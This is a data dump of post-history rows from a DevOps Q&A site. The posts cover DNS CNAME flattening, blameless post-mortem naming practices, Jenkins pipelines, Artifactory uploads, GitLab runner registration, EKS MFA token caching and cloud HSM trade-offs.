  <row Id="14449" PostHistoryTypeId="3" PostId="4602" RevisionGUID="c69682f4-6bb8-45ce-8665-5d410940f7d5" CreationDate="2018-07-25T18:49:29.267" UserId="8971" Text="&lt;amazon-web-services&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14450" PostHistoryTypeId="50" PostId="3730" RevisionGUID="1bc7998b-fa8b-4227-9a0a-1b17883561d2" CreationDate="2018-07-25T19:00:25.520" UserId="-1" />
  <row Id="14451" PostHistoryTypeId="2" PostId="4603" RevisionGUID="8fcf6a12-38e3-495f-861a-6595e7d4e011" CreationDate="2018-07-25T19:21:10.693" UserId="405" Text="You create a `CNAME` record referencing the assigned hostname of the balancer as the target.&#xD;&#xA;&#xD;&#xA;`CNAME` records are not valid at the apex of a zone (i.e. the &quot;naked&quot; domain, without `www` or any other prefix) but Cloudflare allows you to create one there -- sort of -- they actually allow you to *believe* that you're creating one there, and then their service automatically transforms it into one or more valid A-records, dynamically.&#xD;&#xA;&#xD;&#xA;This feature is enabled by default at the apex.&#xD;&#xA;&#xD;&#xA;https://blog.cloudflare.com/introducing-cname-flattening-rfc-compliant-cnames-at-a-domains-root/ " ContentLicense="CC BY-SA 4.0" />
  <row Id="14452" PostHistoryTypeId="2" PostId="4604" RevisionGUID="69e9d85c-4a51-4e70-b681-027cf5d68874" CreationDate="2018-07-25T20:33:12.697" UserId="8972" Text="We want our post-mortems to be blameless.&#xD;&#xA;&#xD;&#xA;Recently someone included this statement in a post-mortem report:&#xD;&#xA;&#xD;&#xA;    On DATE, PERSONMAME did code a fix, but forgot to merge it to master&#xD;&#xA;&#xD;&#xA;It was suggest that to be &quot;blameless&quot; we shouldn't include PERSONNAME.  The suggested replacement was:&#xD;&#xA;&#xD;&#xA;    On DATE, the code fix (link) was created but the engineer failed to merge it to master.&#xD;&#xA;&#xD;&#xA;In a blameless culture, nobody should be worried about having their name listed in a report.  On the other hand, it feels blame-full to point out their name.&#xD;&#xA;&#xD;&#xA;On the other hand, in the second example, someone could follow the link and see who the engineer was. This seems to be hiding someone's name without really hiding it.  It feels like something we'd do in an organization that is having a problem with blame/shame.&#xD;&#xA;&#xD;&#xA;What should we do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14453" PostHistoryTypeId="1" PostId="4604" RevisionGUID="69e9d85c-4a51-4e70-b681-027cf5d68874" CreationDate="2018-07-25T20:33:12.697" UserId="8972" Text="Should we name names in a blameless post-mortem/retrospective?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14454" PostHistoryTypeId="3" PostId="4604" RevisionGUID="69e9d85c-4a51-4e70-b681-027cf5d68874" CreationDate="2018-07-25T20:33:12.697" UserId="8972" Text="&lt;culture&gt;&lt;operations&gt;&lt;post-mortem&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14455" PostHistoryTypeId="5" PostId="4604" RevisionGUID="8e093773-49bb-433b-9e73-355086365679" CreationDate="2018-07-25T20:41:00.783" UserId="157" Comment="pretty sure this was referring to the first example " Text="We want our post-mortems to be blameless.&#xD;&#xA;&#xD;&#xA;Recently someone included this statement in a post-mortem report:&#xD;&#xA;&#xD;&#xA;    On DATE, PERSONMAME did code a fix, but forgot to merge it to master&#xD;&#xA;&#xD;&#xA;It was suggest that to be &quot;blameless&quot; we shouldn't include PERSONNAME.  The suggested replacement was:&#xD;&#xA;&#xD;&#xA;    On DATE, the code fix (link) was created but the engineer failed to merge it to master.&#xD;&#xA;&#xD;&#xA;In a blameless culture, nobody should be worried about having their name listed in a report.  In the first example, it feels blame-full to point out their name.&#xD;&#xA;&#xD;&#xA;On the other hand, in the second example, someone could follow the link and see who the engineer was. This seems to be hiding someone's name without really hiding it.  It feels like something we'd do in an organization that is having a problem with blame/shame.&#xD;&#xA;&#xD;&#xA;What should we do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14456" PostHistoryTypeId="2" PostId="4605" RevisionGUID="ab711a38-3d19-4a6d-9e5d-b1d10c5c3bc8" CreationDate="2018-07-25T21:17:00.827" UserId="8974" Text="So, the second example is clearly better - but surely they're missing the whole point of blameless culture?&#xD;&#xA;&#xD;&#xA;Firstly, it's not relevant who did it or if anyone really wants to follow the link and discover the person's name.  People make mistakes and forget things.&#xD;&#xA;&#xD;&#xA;More importantly, nothing you've written is the root cause!  Dig deeper into the &quot;why&quot;s.&#xD;&#xA;&#xD;&#xA;I'd speculate that the root cause is that you have systems and processes where it can happen in the first place, and when it does, it's not caught in time.  Could the merge/PR process be improved? Would more reviews help? Should each merge be matched against your bug list and vica-versa?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="14457" PostHistoryTypeId="5" PostId="4604" RevisionGUID="7ddd2c2c-c9d5-426f-8202-4e8f6b0af690" CreationDate="2018-07-25T21:20:10.100" UserId="8972" Comment="make the 2 examples more similar to better emphasize the difference." Text="We want our post-mortems to be blameless.&#xD;&#xA;&#xD;&#xA;Recently someone included this statement in a post-mortem report:&#xD;&#xA;&#xD;&#xA;    On DATE, PERSONMAME did code a fix (link), but forgot to merge it to master&#xD;&#xA;&#xD;&#xA;It was suggest that to be &quot;blameless&quot; we shouldn't include PERSONNAME.  The suggested replacement was:&#xD;&#xA;&#xD;&#xA;    On DATE, the code fix (link) was created but the engineer failed to merge it to master.&#xD;&#xA;&#xD;&#xA;In a blameless culture, nobody should be worried about having their name listed in a report.  In the first example, it feels blame-full to point out their name.&#xD;&#xA;&#xD;&#xA;On the other hand, in the second example, someone could follow the link and see who the engineer was. This seems to be hiding someone's name without really hiding it.  It feels like something we'd do in an organization that is having a problem with blame/shame.&#xD;&#xA;&#xD;&#xA;What should we do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14458" PostHistoryTypeId="2" PostId="4606" RevisionGUID="188bc365-7451-4d65-9650-196bee67f1f8" CreationDate="2018-07-25T21:25:32.053" UserId="13" Text="Usually for a blameless postmortem, the best idea is to go further than the human error (which for a proper 5 whys should not arise, that's rule 11, but we're just humans :)) and complete the 5 Whys with the 5 Hows.&#xD;&#xA;&#xD;&#xA;To follow on this particular case for a blameless postmortem I'd go few step further whith those iterations (For the sake of the example) of How *possible follow up interpretation* (possible answers):&#xD;&#xA;&#xD;&#xA;- How this fix has been left unmerged after creation ? (it wasn't reviewed and didn't follow the usual path)&#xD;&#xA;- How *did it miss review* ? (That was urgent and straightforward, review wasn't necessary and decision was taken to deploy)&#xD;&#xA;- How *this process has been defined* ? (It wasn't)&#xD;&#xA;- How *was the bug report closed without merge* (No validation/no defined process for this case)&#xD;&#xA;- How *to prevent the problem arise again* ? (Define the process and set validation/review even for quick patches)&#xD;&#xA;&#xD;&#xA;Now you don't have someone who have forget to merge something, you have an analysis of how it was possible and more important, you have something actionnable to improve which is the main, if not the sole, reason to do a postmortem.&#xD;&#xA;&#xD;&#xA;A more detailled criticism of the 5 whys (which as you show end often with a Who instead of a Why) can be found on O'reilly's blog post [The infinite hows](https://www.oreilly.com/ideas/the-infinite-hows)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14459" PostHistoryTypeId="5" PostId="4606" RevisionGUID="ee0f5237-4b56-4fed-9835-b6be111ec2ff" CreationDate="2018-07-25T21:29:48.193" UserId="13" Comment="added 251 characters in body" Text="Usually for a blameless postmortem, the best idea is to go further than the human error (which for a proper 5 whys should not arise, that's rule 11, but we're just humans :)) and complete the 5 Whys with the 5 Hows.&#xD;&#xA;&#xD;&#xA;To follow on this particular case for a blameless postmortem I'd go few step further whith those iterations (For the sake of the example) of How *possible follow up interpretation* (possible answers):&#xD;&#xA;&#xD;&#xA;- How this fix has been left unmerged after creation ? (it wasn't reviewed and didn't follow the usual path)&#xD;&#xA;- How *did it miss review* ? (That was urgent and straightforward, review wasn't necessary and decision was taken to deploy)&#xD;&#xA;- How *this process has been defined* ? (It wasn't)&#xD;&#xA;- How *was the bug report closed without merge* (No validation/no defined process for this case)&#xD;&#xA;- How *to prevent the problem arise again* ? (Define the process and set validation/review even for quick patches)&#xD;&#xA;&#xD;&#xA;Now you don't have someone who have forget to merge something, you have an analysis of how it was possible and more important, you have something actionnable to improve which is the main, if not the sole, reason to do a postmortem.&#xD;&#xA;&#xD;&#xA;A more detailled criticism of the 5 whys (which as you show end often with a Who instead of a Why) can be found on O'reilly's blog post [The infinite hows](https://www.oreilly.com/ideas/the-infinite-hows)&#xD;&#xA;&#xD;&#xA;To address the specific point of naming in the analysis, I'd argue neither the name nor the fix itself are of value, wording the step in the analysis as &quot;An engineer wrote a fix and didn't merge it&quot; without any link would be enough for the report." ContentLicense="CC BY-SA 4.0" />
  <row Id="14460" PostHistoryTypeId="5" PostId="4605" RevisionGUID="4623be7e-f19e-4b78-8390-019c5f1d731d" CreationDate="2018-07-25T21:36:54.040" UserId="8974" Comment="added 355 characters in body" Text="So, the second example is clearly better - but surely they're missing the whole point of blameless culture?&#xD;&#xA;&#xD;&#xA;Firstly, it's not relevant who did it or if anyone really wants to follow the link and discover the person's name.  People make mistakes and forget things.&#xD;&#xA;&#xD;&#xA;More importantly, nothing you've written is the root cause!  Dig deeper into the &quot;why&quot;s.&#xD;&#xA;&#xD;&#xA;I'd speculate that the root cause is that you have systems and processes where it can happen in the first place, and when it does, it's not caught in time.  Could the merge/PR process be improved? Would more reviews help? Should each merge be matched against your bug list and vica-versa?  &#xD;&#xA;&#xD;&#xA;Edit:  If that's just one line of a six page document then, I assume you're not naming said person as the root cause.  So, fairer.  But I'd disagree that &quot;hiding&quot; his name is something a company having blame/shame problems would do.  They shouldn't include the name because, one also assumes, they don't want to **start** having a blame/shame culture?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14461" PostHistoryTypeId="2" PostId="4607" RevisionGUID="623ecc17-e711-44c0-9c0c-516835f5f919" CreationDate="2018-07-25T22:25:49.243" UserId="8974" Text="Just to add to the existing answers a bit, for &quot;system&quot; users, or users that applications run as, packer would be a fine option, as would using a Terraform provision, or Ansible directly.&#xD;&#xA;&#xD;&#xA;For human users, I'd **highly** suggest using something like [FreeIPA][1].  FreeIPA does all the heavy lifting in regards to setting up LDAP, Kerberos, sudo rules, general access rights, all with a shiny web interface.&#xD;&#xA;&#xD;&#xA;I mean, do you really want to rebuild the servers if someone wants to change their password? &#xD;&#xA;&#xD;&#xA;  [1]: https://www.freeipa.org/page/Main_Page" ContentLicense="CC BY-SA 4.0" />
  <row Id="14466" PostHistoryTypeId="2" PostId="4609" RevisionGUID="1f14e6c0-1c37-46c4-b0b1-ffe2cb4cfd69" CreationDate="2018-07-26T05:02:23.300" UserId="8979" Text="As I am new to atifactory, so wanted to knoe if I cando the below:-&#xD;&#xA;&#xD;&#xA;Directory structure (It contains many different binaries)- how do I upload it as is to an artifactory? " ContentLicense="CC BY-SA 4.0" />
  <row Id="14467" PostHistoryTypeId="1" PostId="4609" RevisionGUID="1f14e6c0-1c37-46c4-b0b1-ffe2cb4cfd69" CreationDate="2018-07-26T05:02:23.300" UserId="8979" Text="Directory structure - how do I upload it as is to an artifactory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14468" PostHistoryTypeId="3" PostId="4609" RevisionGUID="1f14e6c0-1c37-46c4-b0b1-ffe2cb4cfd69" CreationDate="2018-07-26T05:02:23.300" UserId="8979" Text="&lt;maven&gt;&lt;artifactory&gt;&lt;nexus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14469" PostHistoryTypeId="2" PostId="4610" RevisionGUID="0a58624f-fd3a-491e-979c-7f6743953059" CreationDate="2018-07-26T08:46:16.293" UserId="8981" Text="We also struggled with this balance. Having a name attached to certain records does tend to reveal some process faults. Things like:&#xD;&#xA;&#xD;&#xA;* If a given person did not do something that they arguably should have&#xD;&#xA;* What role a person played through the entire post mortem&#xD;&#xA;* What a given persons contributions to each process in the post mortem were&#xD;&#xA;&#xD;&#xA;All of which is useful when attempting to process change. For example, it might be that a given person did not know that they were responsible for ensuring the safety of a system, or a person did not feel that they were adequately qualified to solve a problem.&#xD;&#xA;&#xD;&#xA;The thing is, to understand the problem it does not need to be allocated to a specific person - just to the same person throughout the duration of the report. Accordingly, we do not name people, but rather their role in their role in the management process:&#xD;&#xA;&#xD;&#xA; - at 10:24:22 &quot;John&quot; reported that the system was inaccessible → At 10:24:22 the project owner reported the system ...&#xD;&#xA; - at 10:38:00 &quot;Bill&quot; restarted MySQL to attempt to free the socket pool → at 10:38:00 Operator A restarted MySQL ...&#xD;&#xA;&#xD;&#xA;This allows this sort of internally consistent reference, and we can evaluate the role each team member played. It additionally means that &quot;gut reaction&quot; to each team members failure is lost.&#xD;&#xA;&#xD;&#xA;We do keep a key as to who is what, at the bottom of the report. But it's so we can ask for more information, and has no bearing on the reports content.&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="14470" PostHistoryTypeId="5" PostId="4573" RevisionGUID="db06505f-5397-4614-b5ab-cea5113dbcc1" CreationDate="2018-07-26T08:54:49.567" UserId="739" Comment="copy edit; add culture and organization tags" Text="DevOps primarily focuses on Delivery Speed and SRE focuses on Reliability in production but where does Production Support Engineers fit who also focuses on production monitoring, alerting, performance, user experience, incident management, RCA and work on code defects and understand business functionality?  &#xD;&#xA;&#xD;&#xA; - In a SRE world, would production support engineers be more aligned to SRE or merged with SRE? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14471" PostHistoryTypeId="6" PostId="4573" RevisionGUID="db06505f-5397-4614-b5ab-cea5113dbcc1" CreationDate="2018-07-26T08:54:49.567" UserId="739" Comment="copy edit; add culture and organization tags" Text="&lt;culture&gt;&lt;sre&gt;&lt;organization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14472" PostHistoryTypeId="24" PostId="4573" RevisionGUID="db06505f-5397-4614-b5ab-cea5113dbcc1" CreationDate="2018-07-26T08:54:49.567" Comment="Proposed by 739 approved by 40, 13 edit id of 738" ContentLicense="CC BY-SA 4.0" />
  <row Id="14473" PostHistoryTypeId="2" PostId="4611" RevisionGUID="2c88b5db-36e9-4c75-b680-cd77fa77257b" CreationDate="2018-07-26T12:30:37.293" UserId="5605" Text="**BACKGROUND :** We have one Selenium automation project which is shared in BitBucket repository. Project is maven project. we have 10 `testng.xml` files for all modules&#xD;&#xA;&#xD;&#xA;**OVERVIEW:** Now we want to trigger the automation build once any changes committed in AUT application code.&#xD;&#xA;Also want to trigger the build for failed testcase in Post Step as well, So we will be sure with actual test failure.&#xD;&#xA;Once this execution done then it should send the email with report attachment. &#xD;&#xA;&#xD;&#xA;**PROBLEM**: We are unable to decide What would be feasible Jenkins Job or Jenkins Pipeline ?&#xD;&#xA;&#xD;&#xA;**TRIALS :** I have idea regarding Jenkins Job like setting up maven job and configuring post build trigger, email configuration but not clear enough as a layman. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14474" PostHistoryTypeId="1" PostId="4611" RevisionGUID="2c88b5db-36e9-4c75-b680-cd77fa77257b" CreationDate="2018-07-26T12:30:37.293" UserId="5605" Text="Jenkins Job vs Jenkins Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="14475" PostHistoryTypeId="3" PostId="4611" RevisionGUID="2c88b5db-36e9-4c75-b680-cd77fa77257b" CreationDate="2018-07-26T12:30:37.293" UserId="5605" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;automation&gt;&lt;selenium&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14476" PostHistoryTypeId="5" PostId="4594" RevisionGUID="6499b44d-ad63-4762-9780-b8701181ded0" CreationDate="2018-07-26T12:43:43.857" UserId="8901" Comment="more on short-term VMs" Text="I agree with others not to bake user accounts into the OS images. Especially **personal** user accounts of your infrastructure team should be maintained with a decent user management. There are only very rare circumstances where you want to system/service account to be installed everywhere.&#xD;&#xA;&#xD;&#xA;Reason:&#xD;&#xA;&#xD;&#xA;Getting users into the systems is most times easy because people ask for it. Reliably cleaning up obsolete user accounts is the much harder problem because the employees are gone.&#xD;&#xA;&#xD;&#xA;Often I get asked by customers whether it's possible with an  IAM / login solution to deactivate user accounts everywhere without any delay. So even if you plan to mitigate the user removal issue by defining a short life-time of your VMs it will probably not be short enough for dealing with urgent cases." ContentLicense="CC BY-SA 4.0" />
  <row Id="14477" PostHistoryTypeId="2" PostId="4612" RevisionGUID="5acce0ec-adf6-414c-a877-98f7f6953791" CreationDate="2018-07-26T14:02:05.240" UserId="8983" Text="In the post-mortems I've taken part in, one of the components of the report is:&#xD;&#xA;&#xD;&#xA;&gt; What happened, and when did it happen?&#xD;&#xA;&#xD;&#xA;Which includes a timeline. Timelines are incredibly useful for debugging process faults and providing context to people reading it long after it happened. Since humans are responding to whatever happened (if not kicked it off entirely), there will be references to humans in it. However, indirections  that mention a role like *an operations engineer* are preferred.&#xD;&#xA;&#xD;&#xA;Depending on the severity of the incident undergoing review, there may be chat-logs, tickets, and code-commits attached to the post-mortem as artifacts. Those will by definition name-names. The point of the blameless post-mortem is to keep the tone of it from assigning blame directly, and to avoid where possible assigning it indirectly. Indirect blaming is entirely cultural, though.&#xD;&#xA;&#xD;&#xA;You can't stop people from assigning blame in their heads, but you can avoid assigning blame in the report. Also, by not including extensive membership in the post-mortem archive during performance reviews. If someone wants to assign blame, make them _work_ for it.&#xD;&#xA;&#xD;&#xA;The other area where names sometimes come up in the report itself is in the short and long descriptions of what happened.&#xD;&#xA;&#xD;&#xA;&gt; NAME merged to master before authorized, triggering a CD pipeline. While attempting to prevent the unauthorized change from reaching production, NAME caused the CD system to be mistakenly recycled stopping all deploy pipelines for six hours.&#xD;&#xA;&#xD;&#xA;Which is clearly blamey. Compare this to:&#xD;&#xA;&#xD;&#xA;&gt; A Release Manager merged to master before authorized, triggering a CD pipeline. The mistake was realized immediately. While attempting to prevent the change from deploying, the CD system was destroyed by accident. Restoration by the CD team took six hours.&#xD;&#xA;&#xD;&#xA;A certain kind of nerd will notice that this is very passive-voice. You can tell those nerds that _this is very much intentional_. Passive-voice has been the voice of deflecting blame for a very long time now, so go ahead and passive it up.&#xD;&#xA;&#xD;&#xA;&gt; Mistakes were made.&#xD;&#xA;&#xD;&#xA;Yes, indeed. And which nebulous, not well defined people were involved in this?&#xD;&#xA;&#xD;&#xA;&gt; A Release Manager.&#xD;&#xA;&#xD;&#xA;Doing what, vaguely?&#xD;&#xA;&#xD;&#xA;&gt; Merging to the master branch of a project.&#xD;&#xA;&#xD;&#xA;And what, unspecifically, did they do in response to this?&#xD;&#xA;&#xD;&#xA;&gt; Broke the deploy system.&#xD;&#xA;&#xD;&#xA;What, generally, was the impact of this?&#xD;&#xA;&#xD;&#xA;&gt; The deploy pipleine system was unavailable for a period of about six hours.&#xD;&#xA;&#xD;&#xA;And how was this rectified?&#xD;&#xA;&#xD;&#xA;&gt; The CD team rebuilt the pipelines.&#xD;&#xA;&#xD;&#xA;Very good. Now give me some action items.&#xD;&#xA;&#xD;&#xA;&gt; * A process should be put in place to prevent merges to master before authorization.&#xD;&#xA;&gt; * A circuit-breaker should be introduced in the deploy pipelines to allow a build to be safely blocked.&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="14478" PostHistoryTypeId="2" PostId="4613" RevisionGUID="c760885d-ebb9-43e5-ae2e-4c670564474c" CreationDate="2018-07-26T14:04:13.710" UserId="8621" Text="_Jenkins Job_ and _Jenkins Pipeline_ are basically the same. In a pipeline you define the steps of your job as groovy code (actually it is CPS https://github.com/jenkinsci/workflow-cps-plugin, but that should in general just be a custom groovy interpreter).&#xD;&#xA;&#xD;&#xA;The point, that is making pipelines &quot;better&quot;, form my perspective, is, that you can add those in so-called `Jenkinsfile`s alongside your code. So you have your build job versionized alongside your application code.&#xD;&#xA;&#xD;&#xA;So I would recommend: Take the time to learn how these Jenkins pipelines work and use those. But if you do not want or if you do not have the time, then doing it with plain-old Jenkins jobs is fine as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="14479" PostHistoryTypeId="2" PostId="4614" RevisionGUID="613c0372-25df-4b83-afe0-64c908cf1cfd" CreationDate="2018-07-26T14:09:08.313" UserId="8983" Text="This can be done [through the Jrog CLI](https://www.jfrog.com/confluence/display/CLI/CLI+for+JFrog+Artifactory). The CLI has a recursive option that looks like it will do what you hope.&#xD;&#xA;&#xD;&#xA;    jfrog rt upload --recursive artifactory-mirror/* artifact-repo/dir-struct/&#xD;&#xA;&#xD;&#xA;The CLI also has some performance improvements for uploads that doing it through curl or a browser don't seem to get. Also, scriptable!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14480" PostHistoryTypeId="2" PostId="4615" RevisionGUID="26fb2a63-b00f-4a45-911b-8a596e9a0002" CreationDate="2018-07-26T14:11:20.647" UserId="8984" Text="I have a gitlab repository.&#xD;&#xA;I want to add a runner to it.&#xD;&#xA;I was able to install it,with the instruction [here](https://docs.gitlab.com/runner/install/linux-manually.html) without docker (step 3).&#xD;&#xA;&#xD;&#xA;Now I have to register it according to the instructions [here](https://docs.gitlab.com/runner/register/). In the beggining of that file it is wrriten that I have to obtain a token, but I don’t understand where do I obtain the token from.&#xD;&#xA;In [this link](https://docs.gitlab.com/ce/ci/runners/) it is wrriten that&#xD;&#xA;I can get the token from `CI/CD -&gt; settings`&#xD;&#xA;but `CI/CD` does not have a `settings` option.&#xD;&#xA;&#xD;&#xA;Also, in the registration instruction in step 2, it is written:&#xD;&#xA;`Please enter the gitlab-ci coordinator URL` but there is no documentation anywhere about what is this URL&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14481" PostHistoryTypeId="1" PostId="4615" RevisionGUID="26fb2a63-b00f-4a45-911b-8a596e9a0002" CreationDate="2018-07-26T14:11:20.647" UserId="8984" Text="obtaining token to register a gitlab runner" ContentLicense="CC BY-SA 4.0" />
  <row Id="14482" PostHistoryTypeId="3" PostId="4615" RevisionGUID="26fb2a63-b00f-4a45-911b-8a596e9a0002" CreationDate="2018-07-26T14:11:20.647" UserId="8984" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14484" PostHistoryTypeId="2" PostId="4616" RevisionGUID="da42054b-ed32-4fbb-8fbd-efadbdf5e2f9" CreationDate="2018-07-26T15:10:34.010" UserId="8621" Text="I have set up an EKS cluster in AWS. My user-account there is secured with MFA. And I have an `assumerole`, that is allowed to manage my infrastructure.&#xD;&#xA;&#xD;&#xA;So I installed and configured my system as stated in the AWS userguide: https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html&#xD;&#xA;&#xD;&#xA;I have `kubectl` in version 1.11.x installed, so I can use that binary to communicate with aws (and I do not need the patched amazon version). I then installed `aws-cli` and `aws-iam-authenticator`.&#xD;&#xA;&#xD;&#xA;    user@notebook [04:44:51 PM] [~]&#xD;&#xA;    -&gt; % kubectl version --short --client&#xD;&#xA;    Client Version: v1.11.0&#xD;&#xA;    user@notebook [04:45:13 PM] [~]&#xD;&#xA;    -&gt; % aws-iam-authenticator help&#xD;&#xA;    A tool to authenticate to Kubernetes using AWS IAM credentials&#xD;&#xA;    ...&#xD;&#xA;    user@notebook [04:45:25 PM] [~]&#xD;&#xA;    -&gt; % aws --version&#xD;&#xA;    aws-cli/1.15.51 Python/3.6.6 Linux/4.17.8-1-ARCH botocore/1.10.50&#xD;&#xA;    user@notebook [04:45:30 PM] [~]&#xD;&#xA;    -&gt; %&#xD;&#xA;&#xD;&#xA;I then created the configuration files from the how-to `~/.aws/credentials`, `~/.aws/config`, `~/.kube_aws/config` and created an alias for myself to use `kubectl` with the new config (since I have more clusters to manage): `alias kubectlaws='KUBECONFIG=/home/user/.kube_aws/config kubectl $@'`.&#xD;&#xA;&#xD;&#xA;So here comes my problem: When I connect to the cluster using the `aws-cli` binary, I have to enter my MFA token and then the _session_ is cached (I read for about 15 minutes).&#xD;&#xA;&#xD;&#xA;    user@notebook [04:58:52 PM] [~]&#xD;&#xA;    -&gt; % aws eks describe-cluster --profile my_profile --name ClusterName  --query cluster.status                                                                                          &#xD;&#xA;    Enter MFA code for arn:aws:iam::&lt;MY_MFA_ARN&gt;:&#xD;&#xA;    &quot;ACTIVE&quot;&#xD;&#xA;    user@notebook [04:59:09 PM] [~]&#xD;&#xA;    -&gt; % aws eks describe-cluster --profile my_profile --name ClusterName  --query cluster.endpoint                                                                                        &#xD;&#xA;    &quot;https://...&quot;&#xD;&#xA;    user@notebook [04:59:30 PM] [~]&#xD;&#xA;    -&gt; %&#xD;&#xA;&#xD;&#xA;But when I do this with my `kubectl` alias, I have to enter the token every time I run a command! Furthermore, I cannot re-use a code, so I have to wait about 30 seconds, until the next one is provided.&#xD;&#xA;&#xD;&#xA;    user@notebook [05:03:56 PM] [~]&#xD;&#xA;    -&gt; % kubectlaws get nodes&#xD;&#xA;    Assume Role MFA token code: 123456&#xD;&#xA;    NAME                             STATUS    ROLES     AGE       VERSION&#xD;&#xA;    ...&#xD;&#xA;    user@notebook [05:04:05 PM] [~]&#xD;&#xA;    -&gt; % kubectlaws get nodes&#xD;&#xA;    Assume Role MFA token code: 123456&#xD;&#xA;    could not get token: AccessDenied: MultiFactorAuthentication failed with invalid MFA one time pass code.                                                                                      &#xD;&#xA;            status code: 403, request id: &lt;SOME_ID&gt;&#xD;&#xA;    No resources found.&#xD;&#xA;    Unable to connect to the server: getting credentials: exec: exit status 1&#xD;&#xA;    user@notebook [05:04:14 PM] [~]&#xD;&#xA;    -&gt; %&#xD;&#xA;&#xD;&#xA;This is really annoying, as you might imagine. Has anyone any idea what I did wrong there? Is this a bug? Or is this some kind of mis-configuration?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14485" PostHistoryTypeId="1" PostId="4616" RevisionGUID="da42054b-ed32-4fbb-8fbd-efadbdf5e2f9" CreationDate="2018-07-26T15:10:34.010" UserId="8621" Text="Amazon EKS from local kubectl does not cache MFA token/session" ContentLicense="CC BY-SA 4.0" />
  <row Id="14486" PostHistoryTypeId="3" PostId="4616" RevisionGUID="da42054b-ed32-4fbb-8fbd-efadbdf5e2f9" CreationDate="2018-07-26T15:10:34.010" UserId="8621" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14487" PostHistoryTypeId="2" PostId="4617" RevisionGUID="2d9c5433-86e3-46aa-997d-67abbc2481c7" CreationDate="2018-07-26T15:58:03.703" UserId="4289" Text="For a specific GitLab runner tied to a project, the token can be found in Step 3; in `Project -&gt; Settings -&gt; CI/CD -&gt; Runners` in the `Setup a specific Runner manually` section.&#xD;&#xA;&#xD;&#xA;You will also be able to find the URL which you need to use to register the runner in Step 2.&#xD;&#xA;&#xD;&#xA;[![Runner configuration][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gegDT.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="14488" PostHistoryTypeId="50" PostId="3056" RevisionGUID="f6605c45-6cd9-414a-8120-c78e247468e9" CreationDate="2018-07-26T16:00:19.313" UserId="-1" />
  <row Id="14489" PostHistoryTypeId="2" PostId="4618" RevisionGUID="1362a963-2e2b-48be-beeb-243966e250b4" CreationDate="2018-07-26T16:10:23.137" UserId="8986" Text="Richard, you are right that Cloud and HSMs are two contradictory concepts.&#xD;&#xA;&#xD;&#xA;To fulfill availability and elasticity requirements for key management and cryptographic operations a middleware is needed controlling all the hardware. This is basically done by the cloud KMS available now.&#xD;&#xA;&#xD;&#xA;With AWS Cloud HSM, there is no fully managed availability and elasticity any longer. Instead, you can add HSMs to the cluster if needed (scalability) and if they are located in different availability zones you achieve a certain level of availability as well (but there is no guaranteed SLA as opposed to KMS). Moreover, AWS is doing backups. However, you have to trust AWS and Cavium that they never collaborate and calculate the Backup Encryption Key from the AKBK and MKBK (see page 10 of the [AWS whitepaper][1]) outside of the HSM.&#xD;&#xA;&#xD;&#xA;When you really want to have full control over the HSM, you have to host the HSM yourself and connect it to the cloud using VPN. However, depending on the Internet connection of your data center you might suffer from low latency and your external Internet connection could be vulnerable to DoS attacks. Therefore, solutions like [Utimaco CryptoServer Cloud][2] include private connections from their data centers to your cloud. Depending on the location of the data center and the cloud region, these connections can have very low latency. Since the HSMs do not belong to any cloud service provider you are able to switch CSPs more easily since you don't have to move keys (which can be quite hard to impossible with KMS). Moreover, multi-cloud scenarios are possible. On the other hand, you have to bear all the management tasks like backups or firmware upgrades. Also, to achieve high availability you have to rent at least two of the HSMs, and scaling granularity is a full HSM only. But that's the price for being very secure by having full control over the HSM.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://d1.awsstatic.com/whitepapers/Security/security-of-aws-cloudhsm-backups.pdf&#xD;&#xA;  [2]: https://hsm.utimaco.com/products/dedicated-purpose-hsm/cryptoserver-cloud/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14491" PostHistoryTypeId="50" PostId="3317" RevisionGUID="25d13adf-4c49-447f-ae8d-b8f293982689" CreationDate="2018-07-26T18:02:11.933" UserId="-1" />
  <row Id="14498" PostHistoryTypeId="50" PostId="1931" RevisionGUID="9c749f48-08e6-4516-8c5d-28add5e2ca05" CreationDate="2018-07-26T19:00:35.040" UserId="-1" />
  <row Id="14505" PostHistoryTypeId="50" PostId="1746" RevisionGUID="90526cb4-9f40-44c0-ba78-32c2dd933581" CreationDate="2018-07-26T22:01:07.680" UserId="-1" />
